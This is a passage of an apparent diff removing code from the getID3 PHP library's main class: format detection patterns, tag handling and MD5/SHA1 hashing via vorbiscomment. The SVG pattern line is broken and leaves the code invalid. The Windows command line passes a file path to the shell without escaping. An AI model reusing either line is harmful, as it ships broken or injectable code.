} else { - $errormessage .= 'PHP is not compiled with mb_convert_encoding() or iconv() support. Please recompile with the --enable-mbstring / --with-iconv switch'; - } - return $this->error($errormessage); - } - - // include module - include_once(GETID3_INCLUDEPATH.$determined_format['include']); - - // instantiate module class - $class_name = 'getid3_'.$determined_format['module']; - if (!class_exists($class_name)) { - return $this->error('Format not supported, module "'.$determined_format['include'].'" is corrupt.'); - } - $class = new $class_name($this); - - // set module-specific options - foreach (get_object_vars($this) as $getid3_object_vars_key => $getid3_object_vars_value) { - if (preg_match('#^options_([^_]+)_([^_]+)_(.+)$#i', $getid3_object_vars_key, $matches)) { - list($dummy, $GOVgroup, $GOVmodule, $GOVsetting) = $matches; - $GOVgroup = (($GOVgroup == 'audiovideo') ? 'audio-video' : $GOVgroup); // variable names can only contain 0-9a-z_ so standardize here - if (($GOVgroup == $determined_format['group']) && ($GOVmodule == $determined_format['module'])) { - $class->$GOVsetting = $getid3_object_vars_value; - } - } - } - - $class->Analyze(); - unset($class); - - // close file - fclose($this->fp); - - // process all tags - copy to 'tags' and convert charsets - if ($this->option_tags_process) { - $this->HandleAllTags(); - } - - // perform more calculations - if ($this->option_extra_info) { - $this->ChannelsBitratePlaytimeCalculations(); - $this->CalculateCompressionRatioVideo(); - $this->CalculateCompressionRatioAudio(); - $this->CalculateReplayGain(); - $this->ProcessAudioStreams(); - } - - // get the MD5 sum of the audio/video portion of the file - without ID3/APE/Lyrics3/etc header/footer tags - if ($this->option_md5_data) { - // do not calc md5_data if md5_data_source is present - set by flac only - future MPC/SV8 too - if (!$this->option_md5_data_source || empty($this->info['md5_data_source'])) { - $this->getHashdata('md5'); - } - } - - // get the SHA1 sum of the audio/video portion of the file - without ID3/APE/Lyrics3/etc header/footer tags - if ($this->option_sha1_data) { - $this->getHashdata('sha1'); - } - - // remove undesired keys - $this->CleanUp(); - - } catch (Exception $e) { - $this->error('Caught exception: '.$e->getMessage()); - } - - // return info array - return $this->info; - } - - - /** - * Error handling. - * - * @param string $message - * - * @return array - */ - public function error($message) { - $this->CleanUp(); - if (!isset($this->info['error'])) { - $this->info['error'] = array(); - } - $this->info['error'][] = $message; - return $this->info; - } - - - /** - * Warning handling. - * - * @param string $message - * - * @return bool - */ - public function warning($message) { - $this->info['warning'][] = $message; - return true; - } - - - /** - * @return bool - */ - private function CleanUp() { - - // remove possible empty keys - $AVpossibleEmptyKeys = array('dataformat', 'bits_per_sample', 'encoder_options', 'streams', 'bitrate'); - foreach ($AVpossibleEmptyKeys as $dummy => $key) { - if (empty($this->info['audio'][$key]) && isset($this->info['audio'][$key])) { - unset($this->info['audio'][$key]); - } - if (empty($this->info['video'][$key]) && isset($this->info['video'][$key])) { - unset($this->info['video'][$key]); - } - } - - // remove empty root keys - if (!empty($this->info)) { - foreach ($this->info as $key => $value) { - if (empty($this->info[$key]) && ($this->info[$key] !== 0) && ($this->info[$key] !== '0')) { - unset($this->info[$key]); - } - } - } - - // remove meaningless entries from unknown-format files - if (empty($this->info['fileformat'])) { - if (isset($this->info['avdataoffset'])) { - unset($this->info['avdataoffset']); - } - if (isset($this->info['avdataend'])) { - unset($this->info['avdataend']); - } - } - - // remove possible duplicated identical entries - if (!empty($this->info['error'])) { - $this->info['error'] = array_values(array_unique($this->info['error'])); - } - if (!empty($this->info['warning'])) { - $this->info['warning'] = array_values(array_unique($this->info['warning'])); - } - - // remove "global variable" type keys - unset($this->info['php_memory_limit']); - - return true; - } - - /** - * Return array containing information about all supported formats. - * - * @return array - */ - public function GetFileFormatArray() { - static $format_info = array(); - if (empty($format_info)) { - $format_info = array( - - // Audio formats - - // AC-3 - audio - Dolby AC-3 / Dolby Digital - 'ac3' => array( - 'pattern' => '^\\x0B\\x77', - 'group' => 'audio', - 'module' => 'ac3', - 'mime_type' => 'audio/ac3', - ), - - // AAC - audio - Advanced Audio Coding (AAC) - ADIF format - 'adif' => array( - 'pattern' => '^ADIF', - 'group' => 'audio', - 'module' => 'aac', - 'mime_type' => 'audio/aac', - 'fail_ape' => 'WARNING', - ), - -/* - // AA - audio - Audible Audiobook - 'aa' => array( - 'pattern' => '^.{4}\\x57\\x90\\x75\\x36', - 'group' => 'audio', - 'module' => 'aa', - 'mime_type' => 'audio/audible', - ), -*/ - // AAC - audio - Advanced Audio Coding (AAC) - ADTS format (very similar to MP3) - 'adts' => array( - 'pattern' => '^\\xFF[\\xF0-\\xF1\\xF8-\\xF9]', - 'group' => 'audio', - 'module' => 'aac', - 'mime_type' => 'audio/aac', - 'fail_ape' => 'WARNING', - ), - - - // AU - audio - NeXT/Sun AUdio (AU) - 'au' => array( - 'pattern' => '^\\.snd', - 'group' => 'audio', - 'module' => 'au', - 'mime_type' => 'audio/basic', - ), - - // AMR - audio - Adaptive Multi Rate - 'amr' => array( - 'pattern' => '^\\x23\\x21AMR\\x0A', // #!AMR[0A] - 'group' => 'audio', - 'module' => 'amr', - 'mime_type' => 'audio/amr', - ), - - // AVR - audio - Audio Visual Research - 'avr' => array( - 'pattern' => '^2BIT', - 'group' => 'audio', - 'module' => 'avr', - 'mime_type' => 'application/octet-stream', - ), - - // BONK - audio - Bonk v0.9+ - 'bonk' => array( - 'pattern' => '^\\x00(BONK|INFO|META| ID3)', - 'group' => 'audio', - 'module' => 'bonk', - 'mime_type' => 'audio/xmms-bonk', - ), - - // DSF - audio - Direct Stream Digital (DSD) Storage Facility files (DSF) - https://en.wikipedia.org/wiki/Direct_Stream_Digital - 'dsf' => array( - 'pattern' => '^DSD ', // including trailing space: 44 53 44 20 - 'group' => 'audio', - 'module' => 'dsf', - 'mime_type' => 'audio/dsd', - ), - - // DSS - audio - Digital Speech Standard - 'dss' => array( - 'pattern' => '^[\\x02-\\x08]ds[s2]', - 'group' => 'audio', - 'module' => 'dss', - 'mime_type' => 'application/octet-stream', - ), - - // DSDIFF - audio - Direct Stream Digital Interchange File Format - 'dsdiff' => array( - 'pattern' => '^FRM8', - 'group' => 'audio', - 'module' => 'dsdiff', - 'mime_type' => 'audio/dsd', - ), - - // DTS - audio - Dolby Theatre System - 'dts' => array( - 'pattern' => '^\\x7F\\xFE\\x80\\x01', - 'group' => 'audio', - 'module' => 'dts', - 'mime_type' => 'audio/dts', - ), - - // FLAC - audio - Free Lossless Audio Codec - 'flac' => array( - 'pattern' => '^fLaC', - 'group' => 'audio', - 'module' => 'flac', - 'mime_type' => 'audio/flac', - ), - - // LA - audio - Lossless Audio (LA) - 'la' => array( - 'pattern' => '^LA0[2-4]', - 'group' => 'audio', - 'module' => 'la', - 'mime_type' => 'application/octet-stream', - ), - - // LPAC - audio - Lossless Predictive Audio Compression (LPAC) - 'lpac' => array( - 'pattern' => '^LPAC', - 'group' => 'audio', - 'module' => 'lpac', - 'mime_type' => 'application/octet-stream', - ), - - // MIDI - audio - MIDI (Musical Instrument Digital Interface) - 'midi' => array( - 'pattern' => '^MThd', - 'group' => 'audio', - 'module' => 'midi', - 'mime_type' => 'audio/midi', - ), - - // MAC - audio - Monkey's Audio Compressor - 'mac' => array( - 'pattern' => '^MAC ', - 'group' => 'audio', - 'module' => 'monkey', - 'mime_type' => 'audio/x-monkeys-audio', - ), - -// has been known to produce false matches in random files (e.g. JPEGs), leave out until more precise matching available -// // MOD - audio - MODule (assorted sub-formats) -// 'mod' => array( -// 'pattern' => '^.{1080}(M\\.K\\.|M!K!|FLT4|FLT8|[5-9]CHN|[1-3][0-9]CH)', -// 'group' => 'audio', -// 'module' => 'mod', -// 'option' => 'mod', -// 'mime_type' => 'audio/mod', -// ), - - // MOD - audio - MODule (Impulse Tracker) - 'it' => array( - 'pattern' => '^IMPM', - 'group' => 'audio', - 'module' => 'mod', - //'option' => 'it', - 'mime_type' => 'audio/it', - ), - - // MOD - audio - MODule (eXtended Module, various sub-formats) - 'xm' => array( - 'pattern' => '^Extended Module', - 'group' => 'audio', - 'module' => 'mod', - //'option' => 'xm', - 'mime_type' => 'audio/xm', - ), - - // MOD - audio - MODule (ScreamTracker) - 's3m' => array( - 'pattern' => '^.{44}SCRM', - 'group' => 'audio', - 'module' => 'mod', - //'option' => 's3m', - 'mime_type' => 'audio/s3m', - ), - - // MPC - audio - Musepack / MPEGplus - 'mpc' => array( - 'pattern' => '^(MPCK|MP\\+|[\\x00\\x01\\x10\\x11\\x40\\x41\\x50\\x51\\x80\\x81\\x90\\x91\\xC0\\xC1\\xD0\\xD1][\\x20-\\x37][\\x00\\x20\\x40\\x60\\x80\\xA0\\xC0\\xE0])', - 'group' => 'audio', - 'module' => 'mpc', - 'mime_type' => 'audio/x-musepack', - ), - - // MP3 - audio - MPEG-audio Layer 3 (very similar to AAC-ADTS) - 'mp3' => array( - 'pattern' => '^\\xFF[\\xE2-\\xE7\\xF2-\\xF7\\xFA-\\xFF][\\x00-\\x0B\\x10-\\x1B\\x20-\\x2B\\x30-\\x3B\\x40-\\x4B\\x50-\\x5B\\x60-\\x6B\\x70-\\x7B\\x80-\\x8B\\x90-\\x9B\\xA0-\\xAB\\xB0-\\xBB\\xC0-\\xCB\\xD0-\\xDB\\xE0-\\xEB\\xF0-\\xFB]', - 'group' => 'audio', - 'module' => 'mp3', - 'mime_type' => 'audio/mpeg', - ), - - // OFR - audio - OptimFROG - 'ofr' => array( - 'pattern' => '^(\\*RIFF|OFR)', - 'group' => 'audio', - 'module' => 'optimfrog', - 'mime_type' => 'application/octet-stream', - ), - - // RKAU - audio - RKive AUdio compressor - 'rkau' => array( - 'pattern' => '^RKA', - 'group' => 'audio', - 'module' => 'rkau', - 'mime_type' => 'application/octet-stream', - ), - - // SHN - audio - Shorten - 'shn' => array( - 'pattern' => '^ajkg', - 'group' => 'audio', - 'module' => 'shorten', - 'mime_type' => 'audio/xmms-shn', - 'fail_id3' => 'ERROR', - 'fail_ape' => 'ERROR', - ), - - // TAK - audio - Tom's lossless Audio Kompressor - 'tak' => array( - 'pattern' => '^tBaK', - 'group' => 'audio', - 'module' => 'tak', - 'mime_type' => 'application/octet-stream', - ), - - // TTA - audio - TTA Lossless Audio Compressor (http://tta.corecodec.org) - 'tta' => array( - 'pattern' => '^TTA', // could also be '^TTA(\\x01|\\x02|\\x03|2|1)' - 'group' => 'audio', - 'module' => 'tta', - 'mime_type' => 'application/octet-stream', - ), - - // VOC - audio - Creative Voice (VOC) - 'voc' => array( - 'pattern' => '^Creative Voice File', - 'group' => 'audio', - 'module' => 'voc', - 'mime_type' => 'audio/voc', - ), - - // VQF - audio - transform-domain weighted interleave Vector Quantization Format (VQF) - 'vqf' => array( - 'pattern' => '^TWIN', - 'group' => 'audio', - 'module' => 'vqf', - 'mime_type' => 'application/octet-stream', - ), - - // WV - audio - WavPack (v4.0+) - 'wv' => array( - 'pattern' => '^wvpk', - 'group' => 'audio', - 'module' => 'wavpack', - 'mime_type' => 'application/octet-stream', - ), - - - // Audio-Video formats - - // ASF - audio/video - Advanced Streaming Format, Windows Media Video, Windows Media Audio - 'asf' => array( - 'pattern' => '^\\x30\\x26\\xB2\\x75\\x8E\\x66\\xCF\\x11\\xA6\\xD9\\x00\\xAA\\x00\\x62\\xCE\\x6C', - 'group' => 'audio-video', - 'module' => 'asf', - 'mime_type' => 'video/x-ms-asf', - 'iconv_req' => false, - ), - - // BINK - audio/video - Bink / Smacker - 'bink' => array( - 'pattern' => '^(BIK|SMK)', - 'group' => 'audio-video', - 'module' => 'bink', - 'mime_type' => 'application/octet-stream', - ), - - // FLV - audio/video - FLash Video - 'flv' => array( - 'pattern' => '^FLV[\\x01]', - 'group' => 'audio-video', - 'module' => 'flv', - 'mime_type' => 'video/x-flv', - ), - - // IVF - audio/video - IVF - 'ivf' => array( - 'pattern' => '^DKIF', - 'group' => 'audio-video', - 'module' => 'ivf', - 'mime_type' => 'video/x-ivf', - ), - - // MKAV - audio/video - Mastroka - 'matroska' => array( - 'pattern' => '^\\x1A\\x45\\xDF\\xA3', - 'group' => 'audio-video', - 'module' => 'matroska', - 'mime_type' => 'video/x-matroska', // may also be audio/x-matroska - ), - - // MPEG - audio/video - MPEG (Moving Pictures Experts Group) - 'mpeg' => array( - 'pattern' => '^\\x00\\x00\\x01[\\xB3\\xBA]', - 'group' => 'audio-video', - 'module' => 'mpeg', - 'mime_type' => 'video/mpeg', - ), - - // NSV - audio/video - Nullsoft Streaming Video (NSV) - 'nsv' => array( - 'pattern' => '^NSV[sf]', - 'group' => 'audio-video', - 'module' => 'nsv', - 'mime_type' => 'application/octet-stream', - ), - - // Ogg - audio/video - Ogg (Ogg-Vorbis, Ogg-FLAC, Speex, Ogg-Theora(*), Ogg-Tarkin(*)) - 'ogg' => array( - 'pattern' => '^OggS', - 'group' => 'audio', - 'module' => 'ogg', - 'mime_type' => 'application/ogg', - 'fail_id3' => 'WARNING', - 'fail_ape' => 'WARNING', - ), - - // QT - audio/video - Quicktime - 'quicktime' => array( - 'pattern' => '^.{4}(cmov|free|ftyp|mdat|moov|pnot|skip|wide)', - 'group' => 'audio-video', - 'module' => 'quicktime', - 'mime_type' => 'video/quicktime', - ), - - // RIFF - audio/video - Resource Interchange File Format (RIFF) / WAV / AVI / CD-audio / SDSS = renamed variant used by SmartSound QuickTracks (www.smartsound.com) / FORM = Audio Interchange File Format (AIFF) - 'riff' => array( - 'pattern' => '^(RIFF|SDSS|FORM)', - 'group' => 'audio-video', - 'module' => 'riff', - 'mime_type' => 'audio/wav', - 'fail_ape' => 'WARNING', - ), - - // Real - audio/video - RealAudio, RealVideo - 'real' => array( - 'pattern' => '^\\.(RMF|ra)', - 'group' => 'audio-video', - 'module' => 'real', - 'mime_type' => 'audio/x-realaudio', - ), - - // SWF - audio/video - ShockWave Flash - 'swf' => array( - 'pattern' => '^(F|C)WS', - 'group' => 'audio-video', - 'module' => 'swf', - 'mime_type' => 'application/x-shockwave-flash', - ), - - // TS - audio/video - MPEG-2 Transport Stream - 'ts' => array( - 'pattern' => '^(\\x47.{187}){10,}', // packets are 188 bytes long and start with 0x47 "G". Check for at least 10 packets matching this pattern - 'group' => 'audio-video', - 'module' => 'ts', - 'mime_type' => 'video/MP2T', - ), - - // WTV - audio/video - Windows Recorded TV Show - 'wtv' => array( - 'pattern' => '^\\xB7\\xD8\\x00\\x20\\x37\\x49\\xDA\\x11\\xA6\\x4E\\x00\\x07\\xE9\\x5E\\xAD\\x8D', - 'group' => 'audio-video', - 'module' => 'wtv', - 'mime_type' => 'video/x-ms-wtv', - ), - - - // Still-Image formats - - // BMP - still image - Bitmap (Windows, OS/2; uncompressed, RLE8, RLE4) - 'bmp' => array( - 'pattern' => '^BM', - 'group' => 'graphic', - 'module' => 'bmp', - 'mime_type' => 'image/bmp', - 'fail_id3' => 'ERROR', - 'fail_ape' => 'ERROR', - ), - - // GIF - still image - Graphics Interchange Format - 'gif' => array( - 'pattern' => '^GIF', - 'group' => 'graphic', - 'module' => 'gif', - 'mime_type' => 'image/gif', - 'fail_id3' => 'ERROR', - 'fail_ape' => 'ERROR', - ), - - // JPEG - still image - Joint Photographic Experts Group (JPEG) - 'jpg' => array( - 'pattern' => '^\\xFF\\xD8\\xFF', - 'group' => 'graphic', - 'module' => 'jpg', - 'mime_type' => 'image/jpeg', - 'fail_id3' => 'ERROR', - 'fail_ape' => 'ERROR', - ), - - // PCD - still image - Kodak Photo CD - 'pcd' => array( - 'pattern' => '^.{2048}PCD_IPI\\x00', - 'group' => 'graphic', - 'module' => 'pcd', - 'mime_type' => 'image/x-photo-cd', - 'fail_id3' => 'ERROR', - 'fail_ape' => 'ERROR', - ), - - - // PNG - still image - Portable Network Graphics (PNG) - 'png' => array( - 'pattern' => '^\\x89\\x50\\x4E\\x47\\x0D\\x0A\\x1A\\x0A', - 'group' => 'graphic', - 'module' => 'png', - 'mime_type' => 'image/png', - 'fail_id3' => 'ERROR', - 'fail_ape' => 'ERROR', - ), - - - // SVG - still image - Scalable Vector Graphics (SVG) - 'svg' => array( - 'pattern' => '( 'graphic', - 'module' => 'svg', - 'mime_type' => 'image/svg+xml', - 'fail_id3' => 'ERROR', - 'fail_ape' => 'ERROR', - ), - - - // TIFF - still image - Tagged Information File Format (TIFF) - 'tiff' => array( - 'pattern' => '^(II\\x2A\\x00|MM\\x00\\x2A)', - 'group' => 'graphic', - 'module' => 'tiff', - 'mime_type' => 'image/tiff', - 'fail_id3' => 'ERROR', - 'fail_ape' => 'ERROR', - ), - - - // EFAX - still image - eFax (TIFF derivative) - 'efax' => array( - 'pattern' => '^\\xDC\\xFE', - 'group' => 'graphic', - 'module' => 'efax', - 'mime_type' => 'image/efax', - 'fail_id3' => 'ERROR', - 'fail_ape' => 'ERROR', - ), - - - // Data formats - - // ISO - data - International Standards Organization (ISO) CD-ROM Image - 'iso' => array( - 'pattern' => '^.{32769}CD001', - 'group' => 'misc', - 'module' => 'iso', - 'mime_type' => 'application/octet-stream', - 'fail_id3' => 'ERROR', - 'fail_ape' => 'ERROR', - 'iconv_req' => false, - ), - - // HPK - data - HPK compressed data - 'hpk' => array( - 'pattern' => '^BPUL', - 'group' => 'archive', - 'module' => 'hpk', - 'mime_type' => 'application/octet-stream', - 'fail_id3' => 'ERROR', - 'fail_ape' => 'ERROR', - ), - - // RAR - data - RAR compressed data - 'rar' => array( - 'pattern' => '^Rar\\!', - 'group' => 'archive', - 'module' => 'rar', - 'mime_type' => 'application/vnd.rar', - 'fail_id3' => 'ERROR', - 'fail_ape' => 'ERROR', - ), - - // SZIP - audio/data - SZIP compressed data - 'szip' => array( - 'pattern' => '^SZ\\x0A\\x04', - 'group' => 'archive', - 'module' => 'szip', - 'mime_type' => 'application/octet-stream', - 'fail_id3' => 'ERROR', - 'fail_ape' => 'ERROR', - ), - - // TAR - data - TAR compressed data - 'tar' => array( - 'pattern' => '^.{100}[0-9\\x20]{7}\\x00[0-9\\x20]{7}\\x00[0-9\\x20]{7}\\x00[0-9\\x20\\x00]{12}[0-9\\x20\\x00]{12}', - 'group' => 'archive', - 'module' => 'tar', - 'mime_type' => 'application/x-tar', - 'fail_id3' => 'ERROR', - 'fail_ape' => 'ERROR', - ), - - // GZIP - data - GZIP compressed data - 'gz' => array( - 'pattern' => '^\\x1F\\x8B\\x08', - 'group' => 'archive', - 'module' => 'gzip', - 'mime_type' => 'application/gzip', - 'fail_id3' => 'ERROR', - 'fail_ape' => 'ERROR', - ), - - // ZIP - data - ZIP compressed data - 'zip' => array( - 'pattern' => '^PK\\x03\\x04', - 'group' => 'archive', - 'module' => 'zip', - 'mime_type' => 'application/zip', - 'fail_id3' => 'ERROR', - 'fail_ape' => 'ERROR', - ), - - // XZ - data - XZ compressed data - 'xz' => array( - 'pattern' => '^\\xFD7zXZ\\x00', - 'group' => 'archive', - 'module' => 'xz', - 'mime_type' => 'application/x-xz', - 'fail_id3' => 'ERROR', - 'fail_ape' => 'ERROR', - ), - - - // Misc other formats - - // PAR2 - data - Parity Volume Set Specification 2.0 - 'par2' => array ( - 'pattern' => '^PAR2\\x00PKT', - 'group' => 'misc', - 'module' => 'par2', - 'mime_type' => 'application/octet-stream', - 'fail_id3' => 'ERROR', - 'fail_ape' => 'ERROR', - ), - - // PDF - data - Portable Document Format - 'pdf' => array( - 'pattern' => '^\\x25PDF', - 'group' => 'misc', - 'module' => 'pdf', - 'mime_type' => 'application/pdf', - 'fail_id3' => 'ERROR', - 'fail_ape' => 'ERROR', - ), - - // MSOFFICE - data - ZIP compressed data - 'msoffice' => array( - 'pattern' => '^\\xD0\\xCF\\x11\\xE0\\xA1\\xB1\\x1A\\xE1', // D0CF11E == DOCFILE == Microsoft Office Document - 'group' => 'misc', - 'module' => 'msoffice', - 'mime_type' => 'application/octet-stream', - 'fail_id3' => 'ERROR', - 'fail_ape' => 'ERROR', - ), - - // TORRENT - .torrent - 'torrent' => array( - 'pattern' => '^(d8\\:announce|d7\\:comment)', - 'group' => 'misc', - 'module' => 'torrent', - 'mime_type' => 'application/x-bittorrent', - 'fail_id3' => 'ERROR', - 'fail_ape' => 'ERROR', - ), - - // CUE - data - CUEsheet (index to single-file disc images) - 'cue' => array( - 'pattern' => '', // empty pattern means cannot be automatically detected, will fall through all other formats and match based on filename and very basic file contents - 'group' => 'misc', - 'module' => 'cue', - 'mime_type' => 'application/octet-stream', - ), - - ); - } - - return $format_info; - } - - /** - * @param string $filedata - * @param string $filename - * - * @return mixed|false - */ - public function GetFileFormat(&$filedata, $filename='') { - // this function will determine the format of a file based on usually - // the first 2-4 bytes of the file (8 bytes for PNG, 16 bytes for JPG, - // and in the case of ISO CD image, 6 bytes offset 32kb from the start - // of the file). - - // Identify file format - loop through $format_info and detect with reg expr - foreach ($this->GetFileFormatArray() as $format_name => $info) { - // The /s switch on preg_match() forces preg_match() NOT to treat - // newline (0x0A) characters as special chars but do a binary match - if (!empty($info['pattern']) && preg_match('#'.$info['pattern'].'#s', $filedata)) { - $info['include'] = 'module.'.$info['group'].'.'.$info['module'].'.php'; - return $info; - } - } - - - if (preg_match('#\\.mp[123a]$#i', $filename)) { - // Too many mp3 encoders on the market put garbage in front of mpeg files - // use assume format on these if format detection failed - $GetFileFormatArray = $this->GetFileFormatArray(); - $info = $GetFileFormatArray['mp3']; - $info['include'] = 'module.'.$info['group'].'.'.$info['module'].'.php'; - return $info; - } elseif (preg_match('#\\.cue$#i', $filename) && preg_match('#FILE "[^"]+" (BINARY|MOTOROLA|AIFF|WAVE|MP3)#', $filedata)) { - // there's not really a useful consistent "magic" at the beginning of .cue files to identify them - // so until I think of something better, just go by filename if all other format checks fail - // and verify there's at least one instance of "TRACK xx AUDIO" in the file - $GetFileFormatArray = $this->GetFileFormatArray(); - $info = $GetFileFormatArray['cue']; - $info['include'] = 'module.'.$info['group'].'.'.$info['module'].'.php'; - return $info; - } - - return false; - } - - /** - * Converts array to $encoding charset from $this->encoding. - * - * @param array $array - * @param string $encoding - */ - public function CharConvert(&$array, $encoding) { - - // identical encoding - end here - if ($encoding == $this->encoding) { - return; - } - - // loop thru array - foreach ($array as $key => $value) { - - // go recursive - if (is_array($value)) { - $this->CharConvert($array[$key], $encoding); - } - - // convert string - elseif (is_string($value)) { - $array[$key] = trim(getid3_lib::iconv_fallback($encoding, $this->encoding, $value)); - } - } - } - - /** - * @return bool - */ - public function HandleAllTags() { - - // key name => array (tag name, character encoding) - static $tags; - if (empty($tags)) { - $tags = array( - 'asf' => array('asf' , 'UTF-16LE'), - 'midi' => array('midi' , 'ISO-8859-1'), - 'nsv' => array('nsv' , 'ISO-8859-1'), - 'ogg' => array('vorbiscomment' , 'UTF-8'), - 'png' => array('png' , 'UTF-8'), - 'tiff' => array('tiff' , 'ISO-8859-1'), - 'quicktime' => array('quicktime' , 'UTF-8'), - 'real' => array('real' , 'ISO-8859-1'), - 'vqf' => array('vqf' , 'ISO-8859-1'), - 'zip' => array('zip' , 'ISO-8859-1'), - 'riff' => array('riff' , 'ISO-8859-1'), - 'lyrics3' => array('lyrics3' , 'ISO-8859-1'), - 'id3v1' => array('id3v1' , $this->encoding_id3v1), - 'id3v2' => array('id3v2' , 'UTF-8'), // not according to the specs (every frame can have a different encoding), but getID3() force-converts all encodings to UTF-8 - 'ape' => array('ape' , 'UTF-8'), - 'cue' => array('cue' , 'ISO-8859-1'), - 'matroska' => array('matroska' , 'UTF-8'), - 'flac' => array('vorbiscomment' , 'UTF-8'), - 'divxtag' => array('divx' , 'ISO-8859-1'), - 'iptc' => array('iptc' , 'ISO-8859-1'), - 'dsdiff' => array('dsdiff' , 'ISO-8859-1'), - ); - } - - // loop through comments array - foreach ($tags as $comment_name => $tagname_encoding_array) { - list($tag_name, $encoding) = $tagname_encoding_array; - - // fill in default encoding type if not already present - if (isset($this->info[$comment_name]) && !isset($this->info[$comment_name]['encoding'])) { - $this->info[$comment_name]['encoding'] = $encoding; - } - - // copy comments if key name set - if (!empty($this->info[$comment_name]['comments'])) { - foreach ($this->info[$comment_name]['comments'] as $tag_key => $valuearray) { - foreach ($valuearray as $key => $value) { - if (is_string($value)) { - $value = trim($value, " \r\n\t"); // do not trim nulls from $value!! Unicode characters will get mangled if trailing nulls are removed! - } - if (isset($value) && $value !== "") { - if (!is_numeric($key)) { - $this->info['tags'][trim($tag_name)][trim($tag_key)][$key] = $value; - } else { - $this->info['tags'][trim($tag_name)][trim($tag_key)][] = $value; - } - } - } - if ($tag_key == 'picture') { - // pictures can take up a lot of space, and we don't need multiple copies of them; let there be a single copy in [comments][picture], and not elsewhere - unset($this->info[$comment_name]['comments'][$tag_key]); - } - } - - if (!isset($this->info['tags'][$tag_name])) { - // comments are set but contain nothing but empty strings, so skip - continue; - } - - $this->CharConvert($this->info['tags'][$tag_name], $this->info[$comment_name]['encoding']); // only copy gets converted! - - if ($this->option_tags_html) { - foreach ($this->info['tags'][$tag_name] as $tag_key => $valuearray) { - if ($tag_key == 'picture') { - // Do not to try to convert binary picture data to HTML - // https://github.com/JamesHeinrich/getID3/issues/178 - continue; - } - $this->info['tags_html'][$tag_name][$tag_key] = getid3_lib::recursiveMultiByteCharString2HTML($valuearray, $this->info[$comment_name]['encoding']); - } - } - - } - - } - - // pictures can take up a lot of space, and we don't need multiple copies of them; let there be a single copy in [comments][picture], and not elsewhere - if (!empty($this->info['tags'])) { - $unset_keys = array('tags', 'tags_html'); - foreach ($this->info['tags'] as $tagtype => $tagarray) { - foreach ($tagarray as $tagname => $tagdata) { - if ($tagname == 'picture') { - foreach ($tagdata as $key => $tagarray) { - $this->info['comments']['picture'][] = $tagarray; - if (isset($tagarray['data']) && isset($tagarray['image_mime'])) { - if (isset($this->info['tags'][$tagtype][$tagname][$key])) { - unset($this->info['tags'][$tagtype][$tagname][$key]); - } - if (isset($this->info['tags_html'][$tagtype][$tagname][$key])) { - unset($this->info['tags_html'][$tagtype][$tagname][$key]); - } - } - } - } - } - foreach ($unset_keys as $unset_key) { - // remove possible empty keys from (e.g. [tags][id3v2][picture]) - if (empty($this->info[$unset_key][$tagtype]['picture'])) { - unset($this->info[$unset_key][$tagtype]['picture']); - } - if (empty($this->info[$unset_key][$tagtype])) { - unset($this->info[$unset_key][$tagtype]); - } - if (empty($this->info[$unset_key])) { - unset($this->info[$unset_key]); - } - } - // remove duplicate copy of picture data from (e.g. [id3v2][comments][picture]) - if (isset($this->info[$tagtype]['comments']['picture'])) { - unset($this->info[$tagtype]['comments']['picture']); - } - if (empty($this->info[$tagtype]['comments'])) { - unset($this->info[$tagtype]['comments']); - } - if (empty($this->info[$tagtype])) { - unset($this->info[$tagtype]); - } - } - } - return true; - } - - /** - * Calls getid3_lib::CopyTagsToComments() but passes in the option_tags_html setting from this instance of getID3 - * - * @param array $ThisFileInfo - * - * @return bool - */ - public function CopyTagsToComments(&$ThisFileInfo) { - return getid3_lib::CopyTagsToComments($ThisFileInfo, $this->option_tags_html); - } - - /** - * @param string $algorithm - * - * @return array|bool - */ - public function getHashdata($algorithm) { - switch ($algorithm) { - case 'md5': - case 'sha1': - break; - - default: - return $this->error('bad algorithm "'.$algorithm.'" in getHashdata()'); - } - - if (!empty($this->info['fileformat']) && !empty($this->info['dataformat']) && ($this->info['fileformat'] == 'ogg') && ($this->info['audio']['dataformat'] == 'vorbis')) { - - // We cannot get an identical md5_data value for Ogg files where the comments - // span more than 1 Ogg page (compared to the same audio data with smaller - // comments) using the normal getID3() method of MD5'ing the data between the - // end of the comments and the end of the file (minus any trailing tags), - // because the page sequence numbers of the pages that the audio data is on - // do not match. Under normal circumstances, where comments are smaller than - // the nominal 4-8kB page size, then this is not a problem, but if there are - // very large comments, the only way around it is to strip off the comment - // tags with vorbiscomment and MD5 that file. - // This procedure must be applied to ALL Ogg files, not just the ones with - // comments larger than 1 page, because the below method simply MD5's the - // whole file with the comments stripped, not just the portion after the - // comments block (which is the standard getID3() method. - - // The above-mentioned problem of comments spanning multiple pages and changing - // page sequence numbers likely happens for OggSpeex and OggFLAC as well, but - // currently vorbiscomment only works on OggVorbis files. - - if (preg_match('#(1|ON)#i', ini_get('safe_mode'))) { - - $this->warning('Failed making system call to vorbiscomment.exe - '.$algorithm.'_data is incorrect - error returned: PHP running in Safe Mode (backtick operator not available)'); - $this->info[$algorithm.'_data'] = false; - - } else { - - // Prevent user from aborting script - $old_abort = ignore_user_abort(true); - - // Create empty file - $empty = tempnam(GETID3_TEMP_DIR, 'getID3'); - touch($empty); - - // Use vorbiscomment to make temp file without comments - $temp = tempnam(GETID3_TEMP_DIR, 'getID3'); - $file = $this->info['filenamepath']; - - if (GETID3_OS_ISWINDOWS) { - - if (file_exists(GETID3_HELPERAPPSDIR.'vorbiscomment.exe')) { - - $commandline = '"'.GETID3_HELPERAPPSDIR.'vorbiscomment.exe" -w -c "'.$empty.'" "'.$file.'" "'.$temp.'"'; - $VorbisCommentError = `$commandline`; - - } else { - - $VorbisCommentError = 'vorbiscomment.exe not found in '.GETID3_HELPERAPPSDIR; - - } - - } else { - - $commandline = 'vorbiscomment -w -c '.escapeshellarg($empty).' '.escapeshellarg($file).' '.escapeshellarg($temp).' 2>&1'; - $VorbisCommentError = `$commandline`; - - } - - if (!empty($VorbisCommentError)) { - - $this->warning('Failed making system call to vorbiscomment(.exe) - '.$algorithm.'_data will be incorrect. If vorbiscomment is unavailable, please download from http://www.vorbis.com/download.psp and put in the getID3() directory. Error returned: '.$VorbisCommentError); - $this->info[$algorithm.'_data'] = false; - - } else { - - // Get hash of newly created file - switch ($algorithm) { - case 'md5': - $this->info[$algorithm.'_data'] = md5_file($temp); - break; - - case 'sha1': - $this->info[$algorithm.'_data'] = sha1_file($temp); - break; - } - } - - // Clean up - unlink($empty); - unlink($temp); - - // Reset abort setting - ignore_user_abort($old_abort); - - } - - } else { - - if (!empty($this->info['avdataoffset']) || (isset($this->info['avdataend']) && ($this->info['avdataend'] < $this->info['filesize']))) { - - // get hash from part of file - 